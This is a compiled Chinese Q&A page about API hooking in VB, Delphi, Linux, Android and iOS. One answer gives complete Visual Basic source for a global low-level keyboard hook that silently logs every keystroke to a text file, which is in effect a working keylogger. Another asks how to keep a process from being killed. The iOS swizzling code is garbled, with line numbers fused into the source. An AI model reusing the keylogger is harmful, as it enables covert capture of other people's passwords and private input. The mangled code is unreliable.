❶ 急!!~~vb 使用hook如何得到記事本的右鍵彈出菜單句柄,有源碼最好,謝謝
不用hook。
示例如下:
在窗體上加入控制項Text1、Timer1,然後復制下面代碼,運行。此時在Text1處單擊右鍵,在彈出菜單的同時立即捕獲該句柄。
Private Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Form_Load()
Timer1.Interval = 50
Timer1.Enabled = False
End Sub
Private Sub Text1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then
Timer1.Tag = FindWindow("#32768", vbNullString)
Timer1.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
Dim NewWnd As Long
NewWnd = FindWindow("#32768", vbNullString)
If NewWnd <> Val(Timer1.Tag) Then
Me.Caption = "右鍵彈出菜單的句柄是:" & NewWnd
Timer1.Enabled = False
End If
End Sub
❷ 我是電腦迷,常看到API hook,請問什麼用法是什麼意思啊
1、API(Application Programming Interface,應用程序編程介面)是一些預先定義的函數,目的是提供應用程序與開發人員基於某軟體或硬體的以訪問一組常式的能力,而又無需訪問源碼,或理解內部工作機制的細節。API除了有應用「應用程序介面」的意思外,還特指 API的說明文檔,也稱為幫助文檔。
2、也就是說,Windows 這個多作業系統除了協調應用程式的執行、分配內存、管理系統資源…之外, 她同時也是一個很大的服務中心,調用這個服務中心的各種服務(每一種服務就是一個函數),可以幫應用程式達到開啟視窗、描繪圖形、使用周邊設備…等目的,由於這些函數服務的對象是應用程式, 所以便稱之為 Application Programming Interface,簡稱 API 函數。WIN32 API也就是MicrosoftWindows 32位平台的應用程序編程介面。 凡是在 Windows 工作環境底下執行的應用程式, 都可以調用Windows API。
❸ linux系統下監控列印機需要Hook的函數有哪些
如果只是監視普通文件操作,一般情況下不需要修改內核。
運行「strace -e file -o log.txt 可執行文件名" 即可。對已經運行的程序,用strace -p pid。
最創建子進程的,加-f參數。具體man strace。
❹ 易語言 如何通過 hook 獲取控制台(類比為cmd)顯示內容
可以參考C語言的成功案例。然後請求大神吧C語言的代碼翻譯過來;。。
❺ xposed 怎樣讓activity調用hook
理解hook,並且分析源碼如果我們自己創建代理對象,然後把原始對象替換為我們的代理對象,那麼就可以在這個代理對象為所欲為了;修改參數,替換返回值,我們稱之為Hook。接下來我們來實現Hook掉startActivity這個方法,當每次調用這個方法的時候來做我們需要做的事情,我這里之列印了一些信息,讀者可以更具自己的需求來修改,我們的目的是攔截startActivity方法,有點類是spring 裡面AOP的思想
❻ delphi怎麼HOOK指定API函數!
API鉤子很簡單,源碼我沒有,如果你會用API的話,我給你講一下實現的過程吧:先用GetMoleHandle函數獲取dll的模塊句柄,再用GetProcAddress函數獲取要HOOK的函數地址,
下一步用VirtualProtect函數將要HOOK的函數所在地址的屬性設置為可寫,最後一步,將新函數地址(用於替換原函數)寫到原函數入口地址替換掉原函數地址,這樣就實現了API鉤子功能了
❼ c# hook 怎麼用OpenProcess 防止自己的進程被殺 ,最好給完整源碼例子
C的我有
R3下基本就是IAT hook inline或是用destours庫
❽ 誰能給個VBAPI函數攔截的源碼我看看就是APIHOOK
添加一個窗口,添加一個按鈕,然後粘貼如下代碼
Private Sub Command1_Click()
'載入
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then
End
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
'卸載
Call UnhookWindowsHookEx(hHook)
End Sub
=================================
添加一個模塊,在模塊內粘貼以下代碼
'++++++++++++++++++++++++++++++++++++++++++++
'模塊部分
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\鍵盤記錄.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小鍵盤0 "
Case 97
PrintTXT " 小鍵盤1 "
Case 98
PrintTXT " 小鍵盤2 "
Case 99
PrintTXT " 小鍵盤3 "
Case 100
PrintTXT " 小鍵盤4 "
Case 101
PrintTXT " 小鍵盤5 "
Case 102
PrintTXT " 小鍵盤6 "
Case 103
PrintTXT " 小鍵盤7 "
Case 104
PrintTXT " 小鍵盤8 "
Case 105
PrintTXT " 小鍵盤9 "
Case 106
PrintTXT " 小鍵盤* "
Case 107
PrintTXT " 小鍵盤+ "
Case 109
PrintTXT " 小鍵盤- "
Case 110
PrintTXT " 小鍵盤. "
Case 111
PrintTXT " 小鍵盤/ "
Case 13
PrintTXT " 小鍵盤Enter "
Case 144
PrintTXT " 小鍵盤numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9鍵區-印屏幕鍵 "
Case 45
PrintTXT " 9鍵區-插入鍵 "
Case 46
PrintTXT " 9鍵區-刪除鍵 "
Case 145
PrintTXT " 9鍵區-滾動鎖定鍵 "
Case 36
PrintTXT " 9鍵區-起始鍵 "
Case 35
PrintTXT " 9鍵區-結束鍵 "
Case 19
PrintTXT " 9鍵區-暫停中斷鍵 "
Case 33
PrintTXT " 9鍵區-上頁 "
Case 34
PrintTXT " 9鍵區-下頁 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大鍵盤左,TAB "
Case 20
PrintTXT " 大鍵盤左,大寫鎖定 "
Case 160
PrintTXT " 大鍵盤左Shift "
Case 162
PrintTXT " 大鍵盤左,Ctrl "
Case 91
PrintTXT " 大鍵盤左,Win "
Case 13
PrintTXT " 大鍵盤右,回車 "
Case 161
PrintTXT " 大鍵盤右,Shift "
Case 92
PrintTXT " 大鍵盤右,Win "
Case 93
PrintTXT " 大鍵盤右,彈菜單鍵 "
Case 163
PrintTXT " 大鍵盤右,Ctrl "
End Select
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'這就是一個鍵盤鉤子程序
❾ iOS中如何實現hook
我們都知道在windows下可以通過API輕松的hook很多消息,IOS裡面貌似還沒有現成的API(可能是我還沒發現吧),前段時間碰巧看到Objective-C運行時的一些東西,於是心想著是不是可以嘗試一下實現hook的功能。
下面先直接上源碼:1//2//TestHookObject.m3//TestHookMessage4//5//Created by mapleCao on 13-2-28.6//Copyright (c) 2013年 mapleCao. All rights reserved.7//89#import"TestHookObject.h"10#import<objc/objc.h11#import<objc/runtime.h1213@implementation
TestHookObject1415//this method will just excute once16+ (void)initialize17{18//獲取到UIWindow中sendEvent對應的method19Method sendEvent = class_getInstanceMethod([UIWindowclass
], @selector(sendEvent:));20Method sendEventMySelf = class_getInstanceMethod([selfclass
], @selector(sendEventHooked:));2122//將目標函數的原實現綁定到sendEventOriginalImplemention方法上23IMP sendEventImp =
method_getImplementation(sendEvent);24class_addMethod([UIWindowclass
], @selector(sendEventOriginal:), sendEventImp, method_getTypeEncoding(sendEvent));2526//然後用我們自己的函數的實現,替換目標函數對應的實現27IMP sendEventMySelfImp =
method_getImplementation(sendEventMySelf);28class_replaceMethod([UIWindowclass
], @selector(sendEvent:), sendEventMySelfImp, method_getTypeEncoding(sendEvent));29}3031/*32* 截獲到window的sendEvent33* 我們可以先處理完以後,再繼續調用正常處理流程34*/35- (void)sendEventHooked:(UIEvent *)event36{37//do something what ever you want38NSLog(@"haha, this is my self sendEventMethod!!!!!!!");3940//invoke original implemention41[self performSelector:@selector(sendEventOriginal:) withObject:event];42}4344@end下面我們來逐行分析一下上面的代碼:
首先我們來看19行,這一行主要目的是獲取到UIWindow原生的sendEvent的
Method(一個結構體,用來對方法進行描述)
,接著第20行是獲取到我們自己定義的類中的sendEvent的Method
(這兩個方法的簽名必須一樣,否則運行時報錯)
。第23行我們通過UIWindow原生的sendEvent的Method獲取到對應的
IMP(一個函數指針)
,第24行使用運行時API Class_addMethod給UIWindow類添加了一個叫sendEventOriginal的方法,該方法使用UIWindow原生的sendEvent的實現,並且有著相同的方法簽名
(必須相同,否則運行時報錯)。
27行是獲取我們自定義類中的sendEventMySelf的IMP,28行是關鍵的一行,這一行的主要目的是為UIWindow原生的sendEvent指定一個新的實現,我們看到我們將該實現指定到了我們自己定義的sendEventMySelf上。到了這兒我們就完成了偷梁換柱,大功告成。
執行上面這些行以後,我們就成功的將UIWindow的sendEvent重定向到了我們自己的寫的sendEventMySelf的實現,然後將其原本的實現重定向到了我們給它新添加的方法sendEventOriginal中。而sendEventMySelf中,我們首先可以對這個消息進行我們想要的處理,然後再通過41行調用sendEventOriginal方法轉到正常的執行流程。
為什麼執行起來不報錯,而且還會正常執行?因為sendEventMySelf是UIWindow的sendEvent重定向過來的,所以在運行時該方法中的self代表的就是UIWindow的實例,而不再是TestHookObject的實例了。加上sendEventOriginal是我們通過運行時添加到UIWindow的實例方法,所以可以正常調用。當然如果直接通過下面這種方式調用也是可以的,只不過編譯器會提示警告
(編譯器沒那麼智能)
,因此我們採用了performSelector的調用方式。
[self sendEventOriginal:event];以上就是Hook的實現,使用時我們只需要讓TestHookObject類執行一次初始話操作就可以了,執行完以後。UIWindow的sendEvent消息就會會hook到我們的sendEventMySelf中了。
下面是調用代碼:
Install Hook
代碼中我們還專門添加了一個button來驗證,hook完以後消息是否正常傳遞。經驗證消息流轉完全正常。